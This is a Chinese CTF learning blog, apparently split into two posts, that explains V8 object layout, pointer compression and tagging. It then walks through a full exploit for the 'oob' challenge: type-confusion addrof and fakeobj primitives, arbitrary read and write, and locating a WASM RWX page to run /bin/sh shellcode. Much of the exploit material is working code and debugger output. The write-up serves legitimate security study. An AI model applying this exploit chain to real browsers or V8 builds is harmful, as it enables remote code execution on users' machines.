主要参考blog：传送门

备注：上一篇blog中提到的指针压缩是v8沙箱的重要实现方式，可以避免对象的内存错误溢出到其他重要内存空间。对沙箱的逃逸也是当前漏洞利用的关键，不是那么容易实现的。

D. Utilize WASM

在上面的blog中，除了普通的pwn利用方式外，还给出了一种通过WebAssembly进行利用的方式。

WASM，简单来说，就是将C/C++这种编译语言编译成一种机器码，然后由v8来解释执行它。这个机器码本质上是一种字节码，参考资料。我们首先安装一下相关包测试一下它的效果。

D.1 Installation && Trial

这里选择安装emscripten，这是一个基于LLVM的WASM完整编译链，按照官方文档中的指引进行安装即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# Get the emsdk repo
git clone https://github.com/emscripten-core/emsdk.git

# Enter that directory
cd emsdk

# Download and install the latest SDK tools.
./emsdk install latest

# Make the "latest" SDK "active" for the current user. (writes .emscripten file)
./emsdk activate latest
  
# Activate PATH and other environment variables in the current terminal
source ./emsdk_env.sh

安装完成后，我们编写一个Demo C程序并用emscripten处理。

1
2
3

int main() {
    return 42;
}

使用下面的命令编译为WASM：

1

emcc demo.c -o demo.js

它的输出由两个文件组成，一个是JS文件demo.js，另一个是WASM文件demo.wasm。这个demo.js可以通过node直接执行：

1

node demo.js

另外还可以创建HTML文件，将上面的编译命令的输出结果后缀替换为html即可，这样可以在浏览器打开html文件时执行WASM。

我们再安装一个反编译WASM的工具，帮助我们拆解WASM的执行逻辑。这里安装WABT。按照Github README进行编译安装即可。

添加了环境变量后，可以使用下面的命令将WASM转换为WAT格式，WAT格式是文本格式，可以理解为WASM的汇编代码。

1

wasm2wat demo.wasm > demo.wat

WABT甚至支持将WASM直接转换为C代码，但最终的效果就像用IDA Pro反汇编出来的C代码一样，可读性有但不多。

1

wasm2c demo.wasm > demo_rev.c

需要注意的是，我们并不能直接读取该WASM文件并在d8中直接执行。因为d8中只能执行WASM字节码片段，就像我们在C语言中想要执行一段shellcode一样，这里输出的WASM文件可以对应于完整的ELF文件。将ELF文件从头开始作为shellcode执行当然不可行，因此将WASM文件从头开始在d8中执行同样不可行。那么我们应该对其进行什么处理，才能让d8能够成功执行呢？

执行下面的命令即可：

1

emcc demo.c -o demo.html -s WASM=1 -Os -g2

这里的-Os表示优化等级，-g2表示调试等级，如果这里不加调试等级，那么导出的符号a、b、c我们可能不方便对应于main，不利于我们后续运行。输出WASM文件用wasm2wat命令解析结果如下：

1
2
3
4
5
6
7
8
9
10
11
12

(module $demo.wasm
  (type (;0;) (func (param i32 i32) (result i32)))
  (type (;1;) (func))
  (func $main (type 0) (param i32 i32) (result i32)
    i32.const 42)
  (func $__wasm_call_ctors (type 1))
  (table (;0;) 1 1 funcref)
  (memory (;0;) 258 258)
  (export "a" (memory 0))
  (export "b" (func $__wasm_call_ctors))
  (export "c" (func $main))
  (export "d" (table 0)))

这里最重要的是需要将输出设置为HTML格式，并设置WASM选项为1。这样会输出一个HTML文件和一个WASM文件，而WASM文件中基本仅会保存main函数的逻辑，且会将main函数作为导出函数，可以在d8中调用。如果使用下面的命令：

1

emcc demo.c -o demo.wasm -Os

虽然也可以输出WASM文件，但我们无法将其直接加载到d8中进行执行，因为其中包含外部符号（即下面的wasi_snapshot_preview1和proc_exit），而外部符号在d8中是不允许使用的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

(module $demo.wasm
  (type (;0;) (func (param i32)))
  (type (;1;) (func))
  (type (;2;) (func (result i32)))
  (import "wasi_snapshot_preview1" "proc_exit" (func $__wasi_proc_exit (type 0)))
  (func $__wasm_call_ctors (type 1)
    nop)
  (func $_start (type 1)
    i32.const 42
    call $__wasi_proc_exit
    unreachable)
  (func $_emscripten_stack_restore (type 0) (param i32)
    local.get 0
    global.set $__stack_pointer)
  (func $emscripten_stack_get_current (type 2) (result i32)
    global.get $__stack_pointer)
  (table (;0;) 2 2 funcref)
  (memory (;0;) 258 258)
  (global $__stack_pointer (mut i32) (i32.const 66560))
  (export "memory" (memory 0))
  (export "__indirect_function_table" (table 0))
  (export "_start" (func $_start))
  (export "_emscripten_stack_restore" (func $_emscripten_stack_restore))
  (export "emscripten_stack_get_current" (func $emscripten_stack_get_current))
  (elem (;0;) (i32.const 1) func $__wasm_call_ctors))

如果执行包含外部导入符号，d8会产生报错，因此同样的，我们无法在WASM中编写如printf("Hello world");这样的语句，因为printf是导入符号。

1
2
3
4
5

./test_wasm.js:15: TypeError: WebAssembly.Instance(): Import #0 module="wasi_snapshot_preview1" error: module is not an object or function
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
                   ^
TypeError: WebAssembly.Instance(): Import #0 module="wasi_snapshot_preview1" error: module is not an object or function
    at ./test_wasm.js:15:20

在上面使用正确命令获取的WASM代码中，可以看到main函数是以c作为导出符号的，那么我们需要在d8中调用c这个导出符号：

1
2
3
4
5
6
7
8

var wasmCode = new Uint8Array(Array.from(read("./demo.wasm"), c => c.charCodeAt(0)));

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.c;

var d = f();
console.log("[*] return value from wasm: " + d);

输出结果：

1
2

~/Desktop/misc/CTF-problems/2019CTF-masterctf_oob/Chrome » ./v8/v8/out/x64.debug/d8 --allow-natives-syntax ./test_wasm.js
[*] return from wasm: 42

JS代码的第一行是读取demo.wasm文件并将其转换为8位无符号整数类型。后面则是创建WASM模块于WASM执行实例。通过wasmInstance.exports.xxx获取某个WASM文件导出符号，这里获取的是c，也就是main函数的导出符号，这个导出符号是一个函数，下面可以直接以函数调用的形式执行WASM文件中的main函数，执行的返回值即为main函数的返回值。

D.2 WASM Code Path

上面我们已经能够成功进行WASM的导入和执行，那么下面我们需要简单理解一下WASM的执行流程。

考虑下面的代码：

1
2
3
4
5
6
7
8
9

var wasmCode = new Uint8Array(Array.from(read("./demo.wasm"), c => c.charCodeAt(0)));

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.c;

%SystemBreak();
var d = f();
console.log("[*] return from wasm: " + d);

WASM文件就使用上面的那个返回42的简单代码。

在断点处查看内存布局，可以发现一个RWX权限的页，

经过简单查找之后，我们就可以发现WASM代码转换得到的x64汇编代码。可见在我们能够进行任意地址读写后，可以通过修改这里直接执行shellcode。

那么，我们应该通过什么地址链找到这里呢。本文的主要blog提供了一条链子：

A. Function.shared_info (offset 0x18)

这里的Function就是上面脚本中的f。

B. SharedFunctionInfo.data (offset 8)

C. WasmExportedFunctionData.instance (offset 0x10)

D. WasmInstanceObject + 0x88

这样我们就可以找到RWX的内存页的首地址。实际上我们找到这里就可以了，不用管页内偏移具体是多少，因为我们可以直接用nop指令填充该页的绝大部分，然后在后面附加shellcode即可。

D.3 Chrome v8 Double Kill

我们尝试将寻找RWX页的内存地址的实现代码添加到上一篇blog中实现的exp脚本后面：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

// -----------------------------------------------------------------------------------------------
// ---- Load WASM code

var wasmCode = new Uint8Array(Array.from(read("./demo.wasm"), c => c.charCodeAt(0)));

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.c;

// -----------------------------------------------------------------------------------------------
// ---- Get RWX page start

var f_addr = get_object_address(f);
var shared_function_info_addr = read_at(f_addr + 0x18n) - 1n;
var wasm_exported_function_data_addr = read_at(shared_function_info_addr + 0x8n) - 1n;
var wasm_instance_object_addr = read_at(wasm_exported_function_data_addr + 0x10n) - 1n;
var rwx_page_start = read_at(wasm_instance_object_addr + 0x88n)

console.log("Got RWX page start: 0x" + rwx_page_start.toString(16));

然后加上nop指令填充：

1
2
3
4
5
6

// -----------------------------------------------------------------------------------------------
// ---- Fill most of the page with nop instructions

for (let off=0; off <= 0xEF8; off++) {
    write_at(rwx_page_start + BigInt(off), 0x9090909090909090n);    // nop: 0x90
}

编写下面的简单Python脚本获取shellcode字节序列：

1
2
3
4
5
6
7
8
9
10
11

from pwn import *
context.arch = 'amd64'

asm_bytes = asm(shellcraft.amd64.sh())

asm_list = []

for b in asm_bytes:
    asm_list.append(b)

print(asm_list)

字节序列为：

1

[106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]

将shellcode写入RWX页中：

1
2
3
4
5
6
7
8
9
10
11

// -----------------------------------------------------------------------------------------------
// ---- Write shellcode and execute "WASM code"

var shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

for (let i=0; i < shellcode.length; i++) {
    write_at(rwx_page_start + 0xf00n + BigInt(i), BigInt(shellcode[i]));
}

console.log("Ready to execute shellcode!");
var d = f();

攻击成功。

完整JS代码：exp.js

E. 阶段总结

在前面3篇blog中，我们讨论了不加沙箱的Chrome v8的相关漏洞利用策略，总的来说，Chrome v8的漏洞利用路线是非常固定的，基本都是从类型混淆开始，到可以获得对象地址以及将一个地址作为对象，再到任意地址读写，最后各显神通。

在后面的学习中，我们就需要应对带有沙箱的更新的版本的Chrome v8，浅看了一些blog，发现利用的路径应该也比较固定。一路走来，从Javascript的解析再到WASM，可以发现Chrome v8集成了很多的功能，值得我们深入探索。

继续。

主要参考blog：传送门

B. JSObject

在实际的chrome v8 pwn题中，漏洞绝大多数都是类型混淆，实际上近年的chrome v8 CVE也绝大多数是由于类型混淆引起的。因此我们有必要理解究竟什么叫类型混淆。

B.1 JSReceiver

在v8源代码中，定义了一个JSObject类，这是所有JS类型的父类，如JSDate日期类型、JSRegExp正则表达式类型等全都是它的子类。JSObject继承自JSReceiver，后者定义了一些属性：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

// v8 13.3.0, objects/js-objects.h, line 45

class JSReceiver : public TorqueGeneratedJSReceiver<JSReceiver, HeapObject> {
 public:
  NEVER_READ_ONLY_SPACE
  // Returns true if there is no slow (ie, dictionary) backing store.
  DECL_GETTER(HasFastProperties, bool)

  // Returns the properties array backing store if it
  // exists. Otherwise, returns an empty_property_array when there's a
  // Smi (hash code) or an empty_fixed_array for a fast properties
  // map.
  DECL_GETTER(property_array, Tagged<PropertyArray>)

  // Gets slow properties for non-global objects (if
  // v8_enable_swiss_name_dictionary is not set).
  DECL_GETTER(property_dictionary, Tagged<NameDictionary>)

  // Gets slow properties for non-global objects (if
  // v8_enable_swiss_name_dictionary is set).
  DECL_GETTER(property_dictionary_swiss, Tagged<SwissNameDictionary>)

这里的宏字面含义理解就是定义属性以及其对应的getter，第一个参数是成员名，第二个参数是类型。这里我们首先关注第二个：

Tagged<PropertyArray> property_array

这个Tagged可以理解为一个简单的封装，源码中的注释如是说：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

// Tagged<T> represents an uncompressed V8 tagged pointer.
//
// The tagged pointer is a pointer-sized value with a tag in the LSB. The value
// is either:
//
//   * A small integer (Smi), shifted right, with the tag set to 0
//   * A strong pointer to an object on the V8 heap, with the tag set to 01
//   * A weak pointer to an object on the V8 heap, with the tag set to 11
//   * A cleared weak pointer, with the value 11
//
// The exact encoding differs depending on 32- vs 64-bit architectures, and in
// the latter case, whether or not pointer compression is enabled.
//
// On 32-bit architectures, this is:
//             |----- 32 bits -----|
// Pointer:    |______address____w1|
//    Smi:     |____int31_value___0|
//
// On 64-bit architectures with pointer compression:
//             |----- 32 bits -----|----- 32 bits -----|
// Pointer:    |________base_______|______offset_____w1|
//    Smi:     |......garbage......|____int31_value___0|
//
// On 64-bit architectures without pointer compression:
//             |----- 32 bits -----|----- 32 bits -----|
// Pointer:    |________________address______________w1|
//    Smi:     |____int32_value____|00...............00|
//
// where `w` is the "weak" bit.
//
// We specialise Tagged separately for Object, Smi and HeapObject, and then all
// other types T, so that:
//
//                    Tagged<Object> -> StrongTaggedBase
//                       Tagged<Smi> -> StrongTaggedBase
//   Tagged<T> -> Tagged<HeapObject> -> StrongTaggedBase
//
// We also specialize it separately for MaybeWeak types, with a parallel
// hierarchy:
//
//                               Tagged<MaybeWeak<Object>> -> WeakTaggedBase
//                                  Tagged<MaybeWeak<Smi>> -> WeakTaggedBase
//   Tagged<MaybeWeak<T>> -> Tagged<MaybeWeak<HeapObject>> -> WeakTaggedBase

可见，这个类型实际上是一个地址的封装，它会在地址的最低2个bit添加标志位，00代表小整数，01代表一个指向堆中JS对象的强指针，10代表一个指向堆中JS对象的弱指针，11代表被清理的弱指针。强指针和弱指针应该是对应于JS中的强引用和弱引用，只有强引用才能左右一个对象的生命周期，当对象的所有强引用被销毁时，该对象就会被销毁，不会考虑是否存在弱引用。不过一般的题目中都是强引用，这里仅做了解。

了解完Tagged之后，我们看到上面有3个Tagged类型，其中封装的类型分别为：PropertyArray、NameDictionary和SwissNameDictionary，后面两者通过查看其父类可知是哈希表类型，而第一个貌似是数组，但是具体的数据排布方式未知。下面我们通过调试探究一下。

B.2 How to DEBUG d8

在调试版的d8中，可以在运行时指定参数--allow-natives-syntax，这样在JS代码中可以通过%DebugPrint(...)的方式打印一个对象的底层信息，通过%SystemBreak()发送断点信号，方便我们通过gdb进行调试。

上图可知，这里对于一个浮点数的数组给出了很多信息。我们移步gdb查看一下：

从上面的图中，我们找到对象所在的地址为0x16e200288468，最后一个1是标志位忽略。下面是这个对象在内存中的布局：

1
2
3
4
5

pwndbg> tele 0x16e200288460
00:0000│  0x16e200288460 ◂— 0x99447536c9d5a
01:0008│  0x16e200288468 ◂— 0x7450008cf81
02:0010│  0x16e200288470 ◂— 0x6000994f5
03:0018│  0x16e200288478 ◂— 0xbab932000000b5

这就是这个对象的全部内容。很奇怪对吗，为什么这里没有任何指针呢？诶这就要提到v8中的指针压缩技术了。如果开启了v8的指针压缩，那么所有的v8对象都会被存放在一个4GB大小的内存空间中，由于此时所有的对象地址的高32位都相同，所以在对象实际存储时就不需要高32位，仅需保存低32位即可。这样的话我们就可以理解上面这一小段内存的含义了。

• - map: 0x16e20008cf81 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]：对应的是0x16e200288468开头的4字节空间，代表这个对象的类型。
• - prototype: 0x16e20008d1f5 <JSArray[0]>：和map对应，是这个对象的原型。
• - elements: 0x16e2000994f5 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]：对应的是0x16e200288470开头的4字节空间，代表数组元素的保存地址。
• - length: 3：长度，常数，保存在0x16e200288474开头的4字节空间，因为最低位被保存为0所以只有高31位用于保存整数，表现在内存中即为6。
• - properties: 0x16e200000745 <FixedArray[0]>：属性数组，即前面的PropertyArray，对应0x16e20028846c开头的4字节空间，保存这个类型的属性。

下面我们再看一下elements中的数组元素是如何保存的：

1
2
3
4

pwndbg> tele 0x16e2000994f0
00:0000│  0x16e2000994f0 ◂— 0x67d00002d29 /* ')-' */
01:0008│  0x16e2000994f8 ◂— 0x200000006
02:0010│  0x16e200099500 ◂— 0x600000004

也是很好理解：

• 0x16e2000994f4开头的4字节空间是map，用于指明类型
• 0x16e2000994f8开头的4字节空间是整数3，表示数组长度
• 后面的3个32位类型就是数组的内容，分别为1、2、3。

在新版本中，默认是开启指针压缩的，因为能够提升执行效率。在上一篇blog中提到的那道2019年的赛题使用的版本中，默认就没有开启，所以内存中就直接保存了真实的64位内存地址。

由此，我们就能够解释上一篇blog中oob函数输出的浮点数究竟代表什么东西了。

在release版本中我们同样可以使用--allow-natives-syntax参数，不过只能输出对象所在的地址。但是v8提供了一个gdb脚本可以用于输出对象信息，位于tools/gdbinit，将其添加到~/.gdbinit中即可。

下面是调试结果：

可以看到这里的输出是2.65365992014225e-310。我们查看一下elements：

可以看到，如果我们将数组后面那个地方视作浮点数的话，结果的值与输出完全相同。因此这里泄露的就是一个内存地址。经过简单的观察发现，这里实际上就是我们的浮点数数组对象的位置，这里保存的就是一个map。即保存数组元素的位置正好在对象的低地址处。因为oob函数如果传入参数，是可以溢出写入的，而这里又是标志一个对象类型的重要结构。如果我们将这个地方成功修改，那么JS解释器就会出现类型混淆的漏洞。

注：Map类在objects/map.h中也有详细的字段数据结构分析，感兴趣可以移步研究。

C. Chrome V8 First Blood

下面，我们就利用刚刚对于chrome v8相关内容的理解，彻底做出oob这道题。

C.1 Type Confusion

前面提到，这道题我们可以实现对对象map实例的读或写，下面我们来解释一下如何通过这两个操作完成对任意地址的读写。

首先我们知道，Object在JS中很常用，JS可以定义一个Object数组。但Object包含的东西太多，这些东西占用的内存大小各不相同，如果要将其整合到一个数组中，那么数组必然只能保存一个指针值。而浮点数数组中保存的浮点数也是8个字节长度。因此如果将Object数组混淆为浮点数数组，那么我们就可以通过直接输出的方式获取到指针值对应的浮点数。

考虑下面的JS代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

var first_object = {"1": 2};
var second_object = [1, 2, 3];

var obj_arr = [first_object, second_object];
var float_arr = [0.1];

// %DebugPrint(obj_arr);
// %DebugPrint(float_arr);

var float_typemap = float_arr.oob();
var obj_typemap = obj_arr.oob();

obj_arr.oob(float_typemap);

// %SystemBreak();

这里我们定义了两个数组，一个是对象数组而另一个是浮点数数组。执行完两个oob函数之后，我们就获得了两个map指针的浮点数表示。注意这里有一个细节，如果代码写成下面的格式，我们获取到的对象数组的map地址是错误的：

1
2
3
4
5
6
7
8
9
10
11
12

var obj_arr = [{"1": 2}, [1, 2, 3]];
var float_arr = [0.1];

// %DebugPrint(obj_arr);
// %DebugPrint(float_arr);

var float_typemap = float_arr.oob();
var obj_typemap = obj_arr.oob();

obj_arr.oob(float_typemap);

// %SystemBreak();

因为v8维护自己的对象堆空间，所有的对象都会保存在单独的通过mmap分配出来的空间，而不是v8本身的堆空间。上面两段代码的唯一区别就是是否将对象数组中的两个对象提前定义出来。这会导致v8创建对象的顺序不同。对于前者，v8会首先创建两个对象，然后在需要创建对象数组时，首先创建固定长度的数组用于保存对象，再创建对象数组obj_arr并将其中的数组指针指向那个固定长度的数组，这样就能够保证定长数组与obj_arr之间没有其他东西，然而如果使用下面的代码，v8会首先分配定长数组空间，然后定义两个对象，最后为obj_arr分配空间，这样我们obj_arr.oob()得到的就不是obj_arr的map。

C.2 Object && Address

讨论完这个细节之后，我们可以看到，obj_arr.oob(float_typemap);这一句就能够成功将原来的对象数组解析成浮点数数组，对象数组中的指针会被v8错误地解析为浮点数。由此，我们可以编写获取任意对象地址/将任意地址伪造为对象的JS代码。不过在此之前，我们需要首先研究一下Javascript的数字类型表示。

众所周知，Javascript对于所有除了BigInt的数都是使用浮点数表示的。通过将对象数组混淆为浮点数数组，我们可以通过获取浮点数的方式获取对象地址，但如果要想将任何一个整数表示的地址写入浮点数数组，就需要进行一定的处理。我们需要解决的是下面的问题：

对于一个8字节整数值注入，如何使用Javascript代码将其转化为浮点数，使得输入的整数与输出的浮点数在内存中的表示值相同。

这个问题，我们可以通过下面的JS代码解决：

1
2
3
4
5
6
7
8
9
10
11
12
13

var overlapping_buf = new ArrayBuffer(0x20);
var for_double_value = new Float64Array(overlapping_buf);
var for_bigint_value = new BigUint64Array(overlapping_buf);

function double_to_int64(double_value) {
    for_double_value[0] = double_value;
    return for_bigint_value[0];
}

function int64_to_double(int64_value) {
    for_bigint_value[0] = int64_value;
    return for_double_value[0];
}

下面我们就来解释一下为什么这段代码能够实现浮点数和大整数的转换。我们通过调试下面的代码来解释。

1
2
3
4
5
6
7
8

var x = 0x12345678abcdn;

%DebugPrint(overlapping_buf);
%DebugPrint(for_double_value);
%DebugPrint(for_bigint_value);
%DebugPrint(int64_to_double(x));
%DebugPrint(double_to_int64(int64_to_double(x)));
%SystemBreak();

下面是overlapping_buf的信息：

可以看到，我们初始化的内存空间是保存在v8的堆中，而不是对象堆空间中。然后这个内存空间中已经成功保存了我们写入的大整数值。

输出的这个10进制整数值经过验证也等于我们输入的值。

这种现象产生的根本原因是，我们让两个不同类型的数组指向了同一个内存buffer。二者共用一个内存buffer，使得我们修改一个会导致另一个也发生改变。

！注意：这里的BigUint64Array保存的并不是BigInt类型，实际上，如果你尝试构建一个BigInt数组，这个数组的类型实际为对象数组，因为BigInt并没有确定的大小，它随着保存的数字的大小而动态变化其占用的内存空间大小，所以在数组构建时，也只能保存其指针，类型设置为对象数组。而BigUint64Array的元素就是固定的64位无符号整数，这种整数表示形式不能单独存在，将其提取出来单独定义必然要将其转化为浮点数类型或大整数类型。故我们定义的BigUint64Array和Float64Array具有相同的数据长度，再加上JS允许上面的缓冲区重用，因此我们就能够实现浮点数到64位内整数的无缝无损转换。

现在，我们就可以实现刚才提到的两个功能——获取任意对象的地址/将任意地址作为对象解析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

function get_object_address(object) {
    obj_arr[0] = object;
    obj_arr.oob(float_typemap);
    let obj_addr = double_to_int64(obj_arr[0]) - 1n;
    obj_arr.oob(obj_typemap);
    return obj_addr;
}

function treat_address_as_object(addr) {
    float_arr[0] = int64_to_double(addr + 1n);
    float_arr.oob(obj_typemap);
    let fake_obj = float_arr[0];
    float_arr.oob(float_typemap);
    return fake_obj;
}

将上面的几段代码合并，我们测试一下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

// -----------------------------------------------------------------------------------------------
// ---- int64 <-> double

var overlapping_buf = new ArrayBuffer(0x20);
var for_double_value = new Float64Array(overlapping_buf);
var for_bigint_value = new BigUint64Array(overlapping_buf);

function double_to_int64(double_value) {
    for_double_value[0] = double_value;
    return for_bigint_value[0];
}

function int64_to_double(int64_value) {
    for_bigint_value[0] = int64_value;
    return for_double_value[0];
}

// -----------------------------------------------------------------------------------------------
// ---- type confusion && get object address && treat address as object

var first_object = {"1": 2};
var second_object = [1, 2, 3];

var obj_arr = [first_object, second_object];
var float_arr = [0.1];

var float_typemap = float_arr.oob();
var obj_typemap = obj_arr.oob();

function get_object_address(object) {
    obj_arr[0] = object;
    obj_arr.oob(float_typemap);
    let obj_addr = double_to_int64(obj_arr[0]) - 1n;
    obj_arr.oob(obj_typemap);
    return obj_addr;
}

function treat_address_as_object(addr) {
    float_arr[0] = int64_to_double(addr + 1n);
    float_arr.oob(obj_typemap);
    let fake_obj = float_arr[0];
    float_arr.oob(float_typemap);
    return fake_obj;
}

var first_object_addr = get_object_address(first_object);

// -----------------------------------------------------------------------------------------------

%DebugPrint(first_object);
console.log("first object address: 0x" + get_object_address(first_object).toString(16));

成功。

C.3 R/W Anywhere

刚才我们更进一步，完成了对象的伪造以及对象地址的获取，下面我们需要进一步通过这个完成任意地址的读写操作。

思路其实也很简单，我们直接创建一个数组，里面伪造一下数组的对象结构，包括map指针、缓冲区指针等，然后通过将这个地方视作假对象，访问数组成员，即可实现对缓冲区指针的读写。

因此，我们下面就需要明确两个方面：要伪造一个能够正常使用的数组需要伪造哪些东西；使用什么对象来保存伪造的BigUint64Array。

首先看第二点，我们貌似可以使用一个BigUint64Array保存伪造的数组，但问题是这个对象应该如何初始化。如果我们通过初始化ArrayBuffer的方式来初始化它，那么内存中的对象结构就是下面这样：

可以看到，我们实际的缓冲区并不是elements中保存的base_pointer指针，而是在external_pointer中。这种数据结构与我们之前定义的对象数组obj_arr不同。如果我们获取obj_arr的elements的类型信息与上面相比较，可以发现：

直接通过初始值初始化的数组，其elements比通过缓冲区初始化的数组多了一个属性：non-extensible，即不可扩展性。这里并不是说我们不能为obj_arr添加其他元素，而是说这个保存元素的数组本身不能进行扩充，如果需要扩充数组长度，必须在其他地方重新分配更大的空间来保存元素。既然这里的数组不可扩展，那么在内存中，它就会直接保存元素的值，在对象数组中是指针。而对于使用缓冲区初始化的数组来说，我们获取了elements地址还不够，还需要获取elements中的external_pointer的值，然后才能真正访问到数组内容。

因此为了简单起见，我们应该使用通过值来初始化数组。但前面也提到了，我们无法使用大整数值直接对BigUintArray进行初始化，因此我们只能使用浮点数数组完成初始化，因为将浮点数使用中括号括起来就表示浮点数数组，而将大整数使用中括号括起来却不表示BigUintArray。不过我们不用担心浮点数精度损失的问题，因为我们已经定义好了浮点数和64位整数相互转换的函数。

好，现在我们已经确定使用浮点数数组来保存伪造的对象，为了简单起见，在数组内部，我们也应该使用浮点数数组作为伪造的对象，因为我们目前已经知道了浮点数数组的map地址，可以直接拿来使用。

下面我们回顾一下浮点数数组对象的数据结构：

一个浮点数数组对象，不包括指针的大小是0x20，需要保存：map指针、property指针、elements指针、32位的0占位和32位长度值。这是oob题的7.5版本的结构，我们再来看一下最新的13.3.0版本：

新版本默认将指针进行压缩，因此大小变为原来的一半，长度值的保存有些微变化，最后1位作为整数的标志位，故长度值实际使用31位保存，整体上来看区别不大，我们如果在新版本上定义oob函数，最后一样能够实现类似的效果，只是需要对指针进行进一步的处理，如此时通过oob获取的指针需要取低4字节，且我们无法获知实际指针的高4字节，但也没关系。我们还能够获取数组结构的property指针的低4字节，也就是oob获取的指针值的高4字节。

不过下面我们还是首先从7.5版本入手。

在7.5版本中，指针全部是8个字节大小，因此我们不能获得property指针，但数组元素的访问并不需要使用property指针，因此我们直接设置为0即可。另外要注意指针的设置，elements的前面两个8字节空间是分别用于保存map和数组长度的，访问时是从elements+0x10开始。下面试验一下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

var fake_object_container = [float_typemap, 0, 0, int64_to_double(0x10n * 0x100000000n)];
var container_addr = get_object_address(fake_object_container);
var fake_object_addr = container_addr + 0x30n;
var fake_object = treat_address_as_object(fake_object_addr);

function set_addr_to_rw(addr) {
    fake_object_container[2] = int64_to_double(addr - 0x10n + 1n);
}

function get_rw_addr(idx) {
    return double_to_int64(fake_object_container[2]) - 1n + 0x10n + BigInt(idx) * 8n;
}

console.log("Container address: 0x" + container_addr.toString(16));
set_addr_to_rw(container_addr);

console.log("Reading: 0x" + get_rw_addr(1).toString(16));
console.log("0x" + double_to_int64(fake_object[1]).toString(16));
%DebugPrint(fake_object_container);
%SystemBreak();

这里有2个小细节：set_addr_to_rw里面需要将传入的地址减去0x10再加上1，减去0x10刚才已经提到，要避开前面的两个字段，后面那个加上1是因为直接保存元素的数组本质上也是一个对象，也需要在末位加1进行标识。另外对于fake object的开始地址的获取，这里是将真浮点数数组对象的地址加上0x30，这是根据内存布局决定的，不同的函数调用顺序可能会导致不同的内存布局，因为对象的创建顺序可能不同。

成功完成对指定地址的读操作，当然写也很简单实现。我们再将其封装一下，就变成了下面这样：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

var fake_object_container = [float_typemap, 0, 0, int64_to_double(0x10n * 0x100000000n)];
var container_addr = get_object_address(fake_object_container);
var fake_object_addr = container_addr + 0x30n;
var fake_object = treat_address_as_object(fake_object_addr);

function set_addr_to_rw(addr) {
    fake_object_container[2] = int64_to_double(addr - 0x10n + 1n);
}

function get_rw_addr(idx) {
    return double_to_int64(fake_object_container[2]) - 1n + 0x10n + BigInt(idx) * 8n;
}

function read_addr(addr) {
    set_addr_to_rw(addr);
    return double_to_int64(fake_object[1]);
}

function write_addr(addr, value) {
    set_addr_to_rw(addr);
    fake_object[1] = int64_to_double(value);
}

至此我们就获得了内存操作至高无上的任意读写权限。

虽然我们已经能够进行任意地址读写，但还需要解决最后一个问题，才能实现真正的任意代码执行，那就是如何获取libc地址、栈地址等，任意代码执行需要这些地址完成。需要注意的是，本文开头的参考文章中提到使用此类浮点数数组进行读写存在一定的问题，可能导致7f开头的地址无法读写，因此这里我们另外伪造一个以buffer初始化的数组，因为这类数组的external_pointer必然在v8的堆中而不在对象堆空间，所以必然是需要保存完整指针的，通过对这里进行修改，才能够实现真正的任意地址读写。

因此考虑到脚本的可扩展性，我们可以通过刚才实现的浮点数数组“伪任意地址写”实现64位无符号整数数组的“真任意地址写”，实现方式也很简单，只需要将前面那个用于进行浮点数和整数转换的BigUint64Array复制一份，然后将堆指针修改即可。

我们首先获取一下BigUint64Array的内存数据结构布局：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

pwndbg> job(0x3039bc2cf0d9)
0x3039bc2cf0d9: [JSTypedArray]
 - map: 0x34daeca00b89 <Map(BIGUINT64_ELEMENTS)> [FastProperties]
 - prototype: 0x310ba1d45469 <Object map = 0x34daeca00bd9>
 - elements: 0x3039bc2cf121 <FixedBigUint64Array[0]> [BIGUINT64_ELEMENTS]
 - embedder fields: 2
 - buffer: 0x3039bc2cf031 <ArrayBuffer map = 0x34daeca021b9>
 - byte_offset: 0
 - byte_length: 32
 - length: 4
 - properties: 0x2494f4ec0c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> tele 0x3039bc2cf0d8
00:0000│  0x3039bc2cf0d8 —▸ 0x34daeca00b89 ◂— 0x900002494f4ec01
01:0008│  0x3039bc2cf0e0 —▸ 0x2494f4ec0c71 ◂— 0x2494f4ec08
02:0010│  0x3039bc2cf0e8 —▸ 0x3039bc2cf121 ◂— 0x2494f4ec26
03:0018│  0x3039bc2cf0f0 —▸ 0x3039bc2cf031 ◂— 0x71000034daeca021
04:0020│  0x3039bc2cf0f8 ◂— 0
